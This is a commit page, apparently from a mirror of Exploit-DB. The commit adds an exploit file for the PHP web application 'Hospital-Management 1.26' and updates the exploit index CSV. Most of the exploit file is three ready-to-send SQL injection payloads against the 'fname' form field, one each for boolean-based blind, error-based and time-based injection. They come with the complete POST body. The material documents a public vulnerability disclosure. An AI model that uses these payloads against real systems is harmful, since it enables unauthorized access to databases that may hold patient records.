bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

DB: 2019-09-19

Browse source 
1 changes to exploits/shellcodes

Hospital-Management 1.26 - 'fname' SQL Injection
This commit is contained in:
Offensive Security 2019-09-19 05:03:18 +00:00
parent 432e1efb44
commit 401d4ea8dc
2 changed files with 30 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

29
exploits/php/webapps/47398.txt Normal file
View file

@ -0,0 +1,29 @@
# Exploit Title: Hospital-Management 1.26 - 'fname' SQL Injection
# Author: Cakes
# Discovery Date: 2019-09-18
# Vendor Homepage: https://github.com/Mugerwa-Joseph/hospital-management
# Software Link: https://github.com/Mugerwa-Joseph/hospital-management/archive/master.zip
# Tested Version: 1.26
# Tested on OS: CentOS 7
# CVE: N/A
# Discription:
# Simple SQL injection after application authentication.
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload:
fname=tester'||(SELECT 0x72516679 FROM DUAL WHERE 9119=9119 AND 1379=1379)||'&sname=tester&email=test@tester.com&phone=1123456783&address=123 happy lane&gender=Male&bloodgroup=B&birthyear=2002&btn=Add
# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
# Payload:
fname=tester'||(SELECT 0x53495778 FROM DUAL WHERE 5761=5761 AND (SELECT 9648 FROM(SELECT COUNT(*),CONCAT(0x71787a7a71,(SELECT (ELT(9648=9648,1))),0x716b786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&sname=tester&email=test@tester.com&phone=1123456783&address=123 happy lane&gender=Male&bloodgroup=B&birthyear=2002&btn=Add
# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Payload:
fname=tester'||(SELECT 0x5144494b FROM DUAL WHERE 1043=1043 AND (SELECT 1880 FROM (SELECT(SLEEP(5)))AmmF))||'&sname=tester&email=test@tester.com&phone=1123456783&address=123 happy lane&gender=Male&bloodgroup=B&birthyear=2002&btn=Add

1
files_exploits.csv
View file

@ -41740,3 +41740,4 @@ id,file,description,date,author,type,platform,port
47388,exploits/php/webapps/47388.txt,"College-Management-System 1.2 - Authentication Bypass",2019-09-14,cakes,webapps,php,
47392,exploits/cfm/webapps/47392.txt,"Symantec Advanced Secure Gateway (ASG) / ProxySG - Unrestricted File Upload",2019-09-16,"Pankaj Kumar Thakur",webapps,cfm,
47395,exploits/php/webapps/47395.txt,"CollegeManagementSystem-CMS 1.3 - 'batch' SQL Injection",2019-09-16,cakes,webapps,php,
47398,exploits/php/webapps/47398.txt,"Hospital-Management 1.26 - 'fname' SQL Injection",2019-09-18,cakes,webapps,php,

Can't render this file because it is too large.